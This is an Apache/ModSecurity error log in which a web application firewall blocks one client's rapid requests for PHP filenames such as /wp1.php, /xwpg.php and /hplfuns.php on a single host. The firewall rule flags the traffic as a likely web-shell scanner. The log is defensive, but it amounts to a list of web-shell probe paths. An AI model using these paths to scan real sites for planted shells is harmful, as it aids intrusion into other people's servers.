[Sun Apr 12 01:30:55.864883 2026] [:error] [pid 44701:tid 44773] [client 158.158.55.67:15054] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "adqFTxGZAP4MrlxEPFc4GQAAAEE"]
[Sun Apr 12 01:30:56.549545 2026] [:error] [pid 44700:tid 44749] [client 158.158.55.67:18268] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "adqFUGryPgh_uW4QPClkiQAAAMU"]
[Sun Apr 12 01:30:57.386610 2026] [:error] [pid 44700:tid 44762] [client 158.158.55.67:56863] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adqFUWryPgh_uW4QPClkiwAAANI"]
[Sun Apr 12 01:30:57.905050 2026] [:error] [pid 44700:tid 44745] [client 158.158.55.67:16791] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adqFUWryPgh_uW4QPClkjAAAAME"]
[Sun Apr 12 01:30:58.444520 2026] [:error] [pid 36909:tid 36911] [client 158.158.55.67:15563] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adqFUkGk5GhxTCzHUOoVvQAAAQA"]
[Sun Apr 12 01:30:58.978627 2026] [:error] [pid 36909:tid 36925] [client 158.158.55.67:13617] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "adqFUkGk5GhxTCzHUOoVvgAAAQ4"]
[Sun Apr 12 01:30:59.692160 2026] [:error] [pid 36909:tid 36924] [client 158.158.55.67:7134] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adqFU0Gk5GhxTCzHUOoVvwAAAQ0"]
[Sun Apr 12 01:31:00.259971 2026] [:error] [pid 36938:tid 36958] [client 158.158.55.67:45498] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adqFVISWpa_VL1JPU6zbYgAAAZI"]
[Sun Apr 12 01:31:00.960008 2026] [:error] [pid 45064:tid 45105] [client 158.158.55.67:13327] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "adqFVJcHBvLyJ6EUhUr9MAAAAUw"]
[Sun Apr 12 01:31:16.487629 2026] [:error] [pid 44701:tid 44792] [client 158.158.55.67:12550] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "adqFZBGZAP4MrlxEPFc4UwAAAFE"]
[Sun Apr 12 01:31:18.061348 2026] [:error] [pid 36909:tid 36916] [client 158.158.55.67:18279] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "adqFZkGk5GhxTCzHUOoV5AAAAQU"]
[Sun Apr 12 01:31:18.648930 2026] [:error] [pid 44700:tid 44754] [client 158.158.55.67:18250] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "adqFZmryPgh_uW4QPClkrAAAAMo"]
[Sun Apr 12 01:31:19.490716 2026] [:error] [pid 45064:tid 45093] [client 158.158.55.67:13316] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "adqFZ5cHBvLyJ6EUhUr9SgAAAUE"]
[Sun Apr 12 01:31:20.131191 2026] [:error] [pid 44698:tid 44713] [client 158.158.55.67:55581] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "adqFaBgoH9UWd-U3D55f5gAAAIo"]
[Sun Apr 12 01:31:21.052366 2026] [:error] [pid 36909:tid 36922] [client 158.158.55.67:13579] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "adqFaUGk5GhxTCzHUOoV5QAAAQs"]
[Sun Apr 12 01:31:21.642302 2026] [:error] [pid 36938:tid 36952] [client 158.158.55.67:13595] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "adqFaYSWpa_VL1JPU6zbeQAAAYw"]
[Sun Apr 12 01:31:22.407030 2026] [:error] [pid 45064:tid 45116] [client 158.158.55.67:56779] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/111.php"] [unique_id "adqFapcHBvLyJ6EUhUr9TQAAAVc"]
[Sun Apr 12 01:31:23.178856 2026] [:error] [pid 36938:tid 36961] [client 158.158.55.67:6966] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "adqFa4SWpa_VL1JPU6zbfQAAAZU"]
[Sun Apr 12 01:31:23.901626 2026] [:error] [pid 36938:tid 36956] [client 158.158.55.67:13363] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "adqFa4SWpa_VL1JPU6zbggAAAZA"]
[Sun Apr 12 01:31:24.564867 2026] [:error] [pid 34152:tid 34170] [client 158.158.55.67:18289] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "adqFbIFtE4RhFslT1Dq9CAAAABA"]
[Sun Apr 12 01:31:25.172250 2026] [:error] [pid 34152:tid 34175] [client 158.158.55.67:55587] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp1.php"] [unique_id "adqFbYFtE4RhFslT1Dq9CgAAABU"]
[Sun Apr 12 01:31:25.749195 2026] [:error] [pid 44701:tid 44790] [client 158.158.55.67:19755] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aligk.php"] [unique_id "adqFbRGZAP4MrlxEPFc4WAAAAE8"]
[Sun Apr 12 01:31:26.309790 2026] [:error] [pid 44701:tid 44777] [client 158.158.55.67:40134] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aligk.php"] [unique_id "adqFbhGZAP4MrlxEPFc4XAAAAEU"]
[Sun Apr 12 01:31:27.085100 2026] [:error] [pid 44701:tid 44782] [client 158.158.55.67:55578] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aligk.php"] [unique_id "adqFbxGZAP4MrlxEPFc4XwAAAEk"]
[Sun Apr 12 01:31:27.890821 2026] [:error] [pid 44698:tid 44705] [client 158.158.55.67:44148] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aligk.php"] [unique_id "adqFbxgoH9UWd-U3D55f7QAAAII"]
[Sun Apr 12 01:31:28.543071 2026] [:error] [pid 45064:tid 45108] [client 158.158.55.67:47814] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "adqFcJcHBvLyJ6EUhUr9UwAAAU8"]
[Sun Apr 12 01:31:29.092294 2026] [:error] [pid 34152:tid 34173] [client 158.158.55.67:31773] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "adqFcYFtE4RhFslT1Dq9DAAAABM"]
[Sun Apr 12 01:31:29.694733 2026] [:error] [pid 45064:tid 45112] [client 158.158.55.67:47854] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "adqFcZcHBvLyJ6EUhUr9VAAAAVM"]
[Sun Apr 12 01:31:30.250963 2026] [:error] [pid 36938:tid 36953] [client 158.158.55.67:19744] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byrgo.php"] [unique_id "adqFcoSWpa_VL1JPU6zbiwAAAY0"]
[Sun Apr 12 01:31:30.822117 2026] [:error] [pid 36909:tid 36913] [client 158.158.55.67:47824] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "adqFckGk5GhxTCzHUOoV7wAAAQI"]
[Sun Apr 12 01:31:31.608943 2026] [:error] [pid 44700:tid 44753] [client 158.158.55.67:13569] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "adqFc2ryPgh_uW4QPClkugAAAMk"]
[Sun Apr 12 01:31:32.191421 2026] [:error] [pid 36909:tid 36926] [client 158.158.55.67:19726] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "adqFdEGk5GhxTCzHUOoV8wAAAQ8"]
[Sun Apr 12 01:31:32.876117 2026] [:error] [pid 36909:tid 36928] [client 158.158.55.67:33012] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwpg.php"] [unique_id "adqFdEGk5GhxTCzHUOoV9QAAARE"]
[Sun Apr 12 01:31:33.436443 2026] [:error] [pid 44701:tid 44790] [client 158.158.55.67:32987] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "adqFdRGZAP4MrlxEPFc4YwAAAE8"]
[Sun Apr 12 01:31:34.043135 2026] [:error] [pid 44701:tid 44774] [client 158.158.55.67:47838] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "adqFdhGZAP4MrlxEPFc4ZQAAAEI"]
[Sun Apr 12 01:31:34.828429 2026] [:error] [pid 45064:tid 45099] [client 158.158.55.67:6900] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "adqFdpcHBvLyJ6EUhUr9WQAAAUc"]
[Sun Apr 12 01:31:35.417617 2026] [:error] [pid 44700:tid 44745] [client 158.158.55.67:6963] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ass.php"] [unique_id "adqFd2ryPgh_uW4QPClkvwAAAME"]
[Sun Apr 12 01:31:35.985512 2026] [:error] [pid 36909:tid 36924] [client 158.158.55.67:43139] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "adqFd0Gk5GhxTCzHUOoWBwAAAQ0"]
[Sun Apr 12 01:31:36.588176 2026] [:error] [pid 36909:tid 36931] [client 158.158.55.67:16876] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "adqFeEGk5GhxTCzHUOoWDQAAARQ"]
[Sun Apr 12 01:31:37.183676 2026] [:error] [pid 44701:tid 44798] [client 158.158.55.67:39482] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "adqFeRGZAP4MrlxEPFc4dQAAAFY"]
[Sun Apr 12 01:31:38.060169 2026] [:error] [pid 44700:tid 44753] [client 158.158.55.67:13077] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "adqFemryPgh_uW4QPClkxwAAAMk"]
[Sun Apr 12 01:31:38.851530 2026] [:error] [pid 44701:tid 44781] [client 158.158.55.67:29592] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "adqFehGZAP4MrlxEPFc4egAAAEg"]
[Sun Apr 12 01:31:39.527924 2026] [:error] [pid 34152:tid 34169] [client 158.158.55.67:29572] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "adqFe4FtE4RhFslT1Dq9HAAAAA8"]
[Sun Apr 12 01:31:40.249115 2026] [:error] [pid 36909:tid 36926] [client 158.158.55.67:6472] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "adqFfEGk5GhxTCzHUOoWIwAAAQ8"]
[Sun Apr 12 01:31:40.928634 2026] [:error] [pid 45064:tid 45114] [client 158.158.55.67:12443] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "adqFfJcHBvLyJ6EUhUr9XAAAAVU"]
[Sun Apr 12 01:31:41.808023 2026] [:error] [pid 36909:tid 36927] [client 158.158.55.67:6524] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "adqFfUGk5GhxTCzHUOoWLQAAARA"]
[Sun Apr 12 01:31:42.575357 2026] [:error] [pid 36909:tid 36918] [client 158.158.55.67:44828] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "adqFfkGk5GhxTCzHUOoWMwAAAQc"]
[Sun Apr 12 01:31:43.770820 2026] [:error] [pid 36938:tid 36959] [client 158.158.55.67:12468] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "adqFf4SWpa_VL1JPU6zblwAAAZM"]
[Sun Apr 12 01:31:45.125500 2026] [:error] [pid 44700:tid 44756] [client 158.158.55.67:6479] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fine.php"] [unique_id "adqFgWryPgh_uW4QPClkzQAAAMw"]
[Sun Apr 12 01:31:45.937550 2026] [:error] [pid 36909:tid 36928] [client 158.158.55.67:6811] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zample.php"] [unique_id "adqFgUGk5GhxTCzHUOoWNQAAARE"]
[Sun Apr 12 01:31:46.719988 2026] [:error] [pid 36938:tid 36960] [client 158.158.55.67:12476] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zample.php"] [unique_id "adqFgoSWpa_VL1JPU6zbngAAAZQ"]
[Sun Apr 12 01:31:47.467122 2026] [:error] [pid 34152:tid 34170] [client 158.158.55.67:35115] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zample.php"] [unique_id "adqFg4FtE4RhFslT1Dq9KAAAABA"]
[Sun Apr 12 01:31:48.387153 2026] [:error] [pid 34152:tid 34160] [client 158.158.55.67:60800] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zample.php"] [unique_id "adqFhIFtE4RhFslT1Dq9KQAAAAY"]
[Sun Apr 12 01:31:49.217651 2026] [:error] [pid 45064:tid 45117] [client 158.158.55.67:15322] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "adqFhZcHBvLyJ6EUhUr9ZQAAAVg"]
[Sun Apr 12 01:31:49.979967 2026] [:error] [pid 36909:tid 36930] [client 158.158.55.67:13822] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "adqFhUGk5GhxTCzHUOoWOQAAARM"]
[Sun Apr 12 01:31:50.604173 2026] [:error] [pid 45064:tid 45095] [client 158.158.55.67:52939] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "adqFhpcHBvLyJ6EUhUr9agAAAUM"]
